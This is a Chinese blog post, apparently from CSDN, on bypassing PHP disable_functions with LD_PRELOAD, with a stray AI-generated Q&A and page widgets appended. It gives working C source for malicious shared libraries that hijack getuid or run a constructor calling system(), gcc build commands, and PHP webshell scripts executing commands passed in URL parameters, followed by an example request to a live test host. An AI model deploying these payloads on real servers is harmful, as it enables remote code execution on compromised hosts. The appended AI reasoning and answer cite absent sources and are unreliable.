利用Linux LD_PRELOAD加载自定义的动态链接库Bypass disable_functions

本文介绍如何利用Linux LD_PRELOAD机制通过mail函数或构造函数劫持getuid函数,实现远程代码执行(RCE),包括具体条件、原理及实施步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

事先声明,本文摘自 “酒仙桥六号部队” 的公众号 “奇怪的PHP知识增加了” 文章。本人本着学习的态度,跟着作者的思路自己操作了一遍,发现其中的缺陷,因此作此记录。如有冒犯/侵权,请私信,本人立马进行删除。

原文链接:https://mp.weixin.qq.com/s/BiBSwt8JO99JnCfK1pMjJw

熟悉Linux系统的同学们都清楚Linux LD_PRELOAD的作用,它的加载优先级最高,可以用来覆盖正常的函数库。对于此概念,原文已描述的很清楚,这里不赘述。进入主题:

0x01 利用mail函数劫持getuid()

利用条件
  1. 目标服务器是Linux操作系统;
  2. Linux系统安装并启用了sendmail程序;
  3. /usr/sbin/目录下存在sendmail软连接;
  4. error_log()和mail()函数没有被禁用;

(Tips:在渗透实战环境下,以上条件很多是无可得知的,所以只能进行盲打。)

利用原理

PHP的mail()函数在执行过程中会默认调用系统程序/usr/sbin/sendmail、/usr/sbin/postdrop,而/usr/sbin/sendmail会调用getuid()。那么我们通过LD_PRELOAD劫持getuid函数,然后调用mail函数执行我们生成的恶意函数库中的getuid函数。

利用方法

从实战渗透的角度出发,此时已获得webshell,但是无法执行命令,所以要先在自己的Linux VPS上创建attack.c文件并进行编译。attack.c文件内容如下:

#include <stdlib.h>  
#include <stdio.h>  
#include <string.h>  

int geteuid() {  
const char* cmdline = getenv("EVIL_CMDLINE");  
if (getenv("LD_PRELOAD") == NULL) { return 0; }  
unsetenv("LD_PRELOAD");  
system(cmdline);  
}

编译attack.c文件,生成attack.so动态链接库,用以下命令:

gcc -shared -fPIC attack.c -o attack.so

再创建getuid.php文件,内容如下:(内容我在原文的基础上做了少许删除,个人对输出的注释部分觉得冗余,所以删了。)

<?php
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>Display</b>: " . nl2br(file_get_contents($out_path))
. "</p>";
unlink($out_path);
?>

将attack.so、getuid.php文件上传至目标服务器
在这里插入图片描述
在这里插入图片描述可以看到attack.so文件没有执行权限,所以要修改其权限为0755。
在这里插入图片描述
访问 http://8.129.237.254/getuid.php?cmd=hostname&outpath=/tmp/yy&sopath=/www/admin/localhost_80/wwwroot/html/attack.so

在这里插入图片描述
(PS:师傅们不要乱来,之所以不打码,是因为这是我的测试服务器,我这就关机去。)

疑问一: outpath参数的值是/tmp/yy,yy文件夹是我在测试服务器上创建的,但是在实战渗透环境,无法执行命令的情况下是进行不了此操作的。如果这里的值更改为/tmp,则会报错 " unlink(/tmp): Permission denied in /www/admin/localhost_80/wwwroot/getuid.php on line 11 "

在这里插入图片描述
根据报错提示,是因为权限不足导致。那么又尝试将outpath参数的值改为WEB目录,则会报错 " unlink(/www/admin/localhost_80/wwwroot/): Is a directory in /www/admin/localhost_80/wwwroot/getuid.php on line 11 "

在这里插入图片描述
上面的不回显以及警告提示,我不知道是什么原因导致,希望知道的师傅们指点一下。截至目前的测试现象,个人认为此姿势在实战渗透环境下显得很鸡肋。

0x02 劫持启动函数

利用条件
  1. 目标服务器是Linux操作系统;
利用原理

上面的方法需要通过LD_PRELOAD劫持一个系统函数来实现RCE,如果sendmail函数被禁用了呢?如果能找到一个方式在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。而C++ 的构造函数就是如此。(摘自原文)

利用方法

同上,先在自己的Linux VPS上创建bypass_disablefunc.c文件并进行编译。bypass_disablefunc.c文件内容如下:

#define _GNU_SOURCE  

#include <stdlib.h>  
#include <stdio.h>  
#include <string.h>  

extern char** environ;  

__attribute__ ((__constructor__)) void preload (void)  
{  
// get command line options and arg  
const char* cmdline = getenv("EVIL_CMDLINE");  

// unset environment variable LD_PRELOAD.  
// unsetenv("LD_PRELOAD") no effect on some  
// distribution (e.g., centos), I need crafty trick.  
int i;  
for (i = 0; environ[i]; ++i) {  
if (strstr(environ[i], "LD_PRELOAD")) {  
environ[i][0] = '0';  
}  
}  

// executive command  
system(cmdline);  
}

编译bypass_disablefunc.c文件,生成bypass_disablefunc.so动态链接库,用以下命令:

gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so

再创建bypass_disablefunc.php文件,内容如下:(内容我在原文的基础上做了少许删除,个人对输出的注释部分觉得冗余,所以删了。)

<?php  
$cmd = $_GET["cmd"];  
$out_path = $_GET["outpath"];  
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";   
putenv("EVIL_CMDLINE=" . $evil_cmdline);  
$so_path = $_GET["sopath"];  
putenv("LD_PRELOAD=" . $so_path);  
mail("", "", "", "");  
echo "<p> <b>Display</b>: <br />" . nl2br(file_get_contents($out_path))
. "</p>";  
unlink($out_path);  
?>

将bypass_disablefunc.so、bypass_disablefunc.php文件上传至目标服务器,并修改bypass_disablefunc.so文件权限为0755。
在这里插入图片描述
访问 http://8.129.237.254/bypass_disablefunc.php?cmd=hostname&outpath=/tmp/yy&sopath=/www/admin/localhost_80/wwwroot/html/bypass_disablefunc.so

在这里插入图片描述
此姿势因为/tmp/yy目录的原因,个人同样觉得很鸡肋。毕竟在无法执行命令之前,无法创建到/tmp/yy目录。如果能创建/tmp/yy目录,也没必要做此操作了,还不如直接想办法提高权限。我不清楚这里为什么只有用/tmp/yy目录就可以正常回显,其它目录就不行。如果outpath的值设置为WEB目录也可以有回显,那么此姿势就不鸡肋了。望师傅指点一二。

此姿势原出处:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

<think>首先,用户的问题是:&ldquo;我想询问LD_PRELOAD是否只能用于劫持libc请问LD_PRELOAD是否仅能劫持 libc”。我需要基于提供的引用和系统级指令来回答。关键点是:LD_PRELOAD是否只能用于劫持libc?用户的问题焦点是是否仅限于 libc。回顾引用: -引用[1]:LD_PRELOAD用于动态加载,优先级最高。加载顺序:LD_PRELOAD> LD_LIBRARY_PATH >/etc/ld.so.cache >/lib> /usr/lib。 -引用[2]:如果 LD_PRELOAD指定的中定义了与标准(如 libc)同名的函数,程序会优先使用LD_PRELOAD中的函数。这可以用来修改或扩展程序的行为。-引用[3]:LD_PRELOAD允许在程序启动前加载动态链接库,用于调试或测试不同版本的。 -引用[4]: LD_PRELOAD劫持允许在自定义动态链接库中装入恶意函数。-引用[5]:程序的链接类型:静态链接、装入时动态链接、运行时动态链接。 从引用[2]中明确提到&ldquo;标准(如libc)”,这表明 libc是一个常见例子,但不是唯一的。引用[2]说&ldquo;如libc”,意思是&ldquo;例如libc”,暗示它可以是其他。 引用[4]提到&ldquo;装入恶意函数”,没有指定必须是libc。引用[3]讨论使用LD_PRELOAD加载任何动态,无论是调试版本还是不同版本,没有限制为 libc。所以,LD_PRELOAD可以用于劫持任何动态,不仅仅是libc。它优先加载指定的,如果该中有与任何其他同名的函数,就会覆盖那些函数。因此,回答应该是:不,LD_PRELOAD不仅可以用于劫持libc,它可以用于劫持任何动态的函数。现在,结构化回答: 1. **系统级指令**:-所有行内数学表达式用 $...$,但这里没有数学内容,所以可能不需要。-独立公式用$$...$$,但同样,没有数学。-LaTeX语法正确:确保如果使用数学符号,格式正确。-使用中文回答。-生成相关问题:在回答末尾添加相关问题。-引用段落末尾添加引用标识,如[^1]。2. **回答结构**:-清晰、逐步解决问题。-保证真实可靠:基于提供的引用。-参考站内引用:在回答中引用相关部分。 步骤: -先直接回答问题:LD_PRELOAD不仅限于劫持 libc。-解释原理:LD_PRELOAD允许优先加载任何动态,覆盖同名函数。-提供例子:基于引用,如用于调试、测试或安全劫持。-添加引用:在关键点后添加引用标识。-结尾生成相关问题。相关问题:基于主题,如LD_PRELOAD的其他用途、安全风险、如何防止劫持等。相关问题示例: 1. LD_PRELOAD有哪些常见的使用场景?2.如何防止 LD_PRELOAD劫持?3.LD_PRELOAD在调试中的作用是什么? 完整回答框架: 1.引言:直接回应用户问题。2.解释:LD_PRELOAD的工作原理。3.澄清:是否仅限于 libc。4.例子:其他的劫持可能性。 5.引用:整合引用。6.相关问题。确保中文。</think>### LD_PRELOAD 是否仅能劫持 libc LD_PRELOAD 是一个 Linux 环境变量,用于在程序启动前优先加载指定的动态链接库(shared library)。它通过覆盖函数调用来实现&ldquo;劫持”行为,但**并非仅限于劫持 libc **。以下我将逐步解释原理、适用范围和实际例子,确保回答基于可靠的引用信息。 #### 1. **LD_PRELOAD 的工作原理** - LD_PRELOAD 允许你指定一个或多个动态链接库(例如 `mylib.so`),这些会在程序加载时优先于其他(如标准 libc)被加载[^1]。 - 当中包含与目标程序(或任何依赖)同名的函数时,LD_PRELOAD 中的函数会覆盖原始函数,从而实现劫持[^2]。这适用于任何动态,而不仅仅是 libc。 - 例如,如果你创建了一个自定义,其中定义了 `printf` 函数(libc 中的函数),或 `custom_function`(其他中的函数),LD_PRELOAD 都能强制程序使用你的版本[^2][^3]。 #### 2. **是否仅限于 libc ?** - **不,LD_PRELOAD 可以劫持任何动态的函数**。libc 是常见的劫持目标,因为它包含许多基础函数(如 `malloc`、`printf`),但 LD_PRELOAD 的机制是通用的: - 它可以劫持 libc 的函数,如覆盖 `open()` 或 `read()`[^2]。 - 同样,它可以劫持第三方的函数,例如 OpenSSL 中的 `SSL_write()`,或自定义中的函数[^3][^4]。 - 引用[2]提到&ldquo;标准(如 libc)”,这里的&ldquo;如”表示 libc 只是一个例子,并非限制。实际上,LD_PRELOAD 的劫持能力取决于自定义是否定义了与目标程序或依赖同名的函数[^2][^4]。 #### 3. **实际使用场景和例子** - **调试与测试**:开发者可以创建一个调试版本的(如 `debug_ssl.so`),覆盖 OpenSSL 的函数,以记录日志或模拟错误,而不影响原始程序[^3]。 - **安全劫持**:攻击者可能劫持非 libc ,例如覆盖图形(如 GTK)的函数来窃取用户输入[^4]。 - **性能优化**:在科学计算中,劫持数学(如 BLAS)的函数,以替换为优化版本[^3]。 - 示例命令: ```bash LD_PRELOAD=/path/to/custom_lib.so ./target_program ``` 这里,`custom_lib.so` 可以针对 libc、OpenSSL 或其他任何进行劫持[^3][^4]。 #### 4. **注意事项** - 劫持非 libc 时,需确保自定义函数的签名(参数和返回值)与原始函数完全一致,否则可能导致程序崩溃[^2][^3]。 - LD_PRELOAD 的优先级最高,但可能被安全机制(如 SELinux)限制,以防止恶意劫持[^1][^4]。 - 引用[5]提到动态链接的类型(如运行时动态链接),LD_PRELOAD 属于&ldquo;装入时动态链接”,这进一步说明其通用性,不限于特定[^5]。 总之,LD_PRELOAD 是一个强大的工具,可用于劫持任何动态的函数,而不仅限于 libc。正确使用时,它支持合法场景如调试和优化;但滥用可能导致安全风险[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值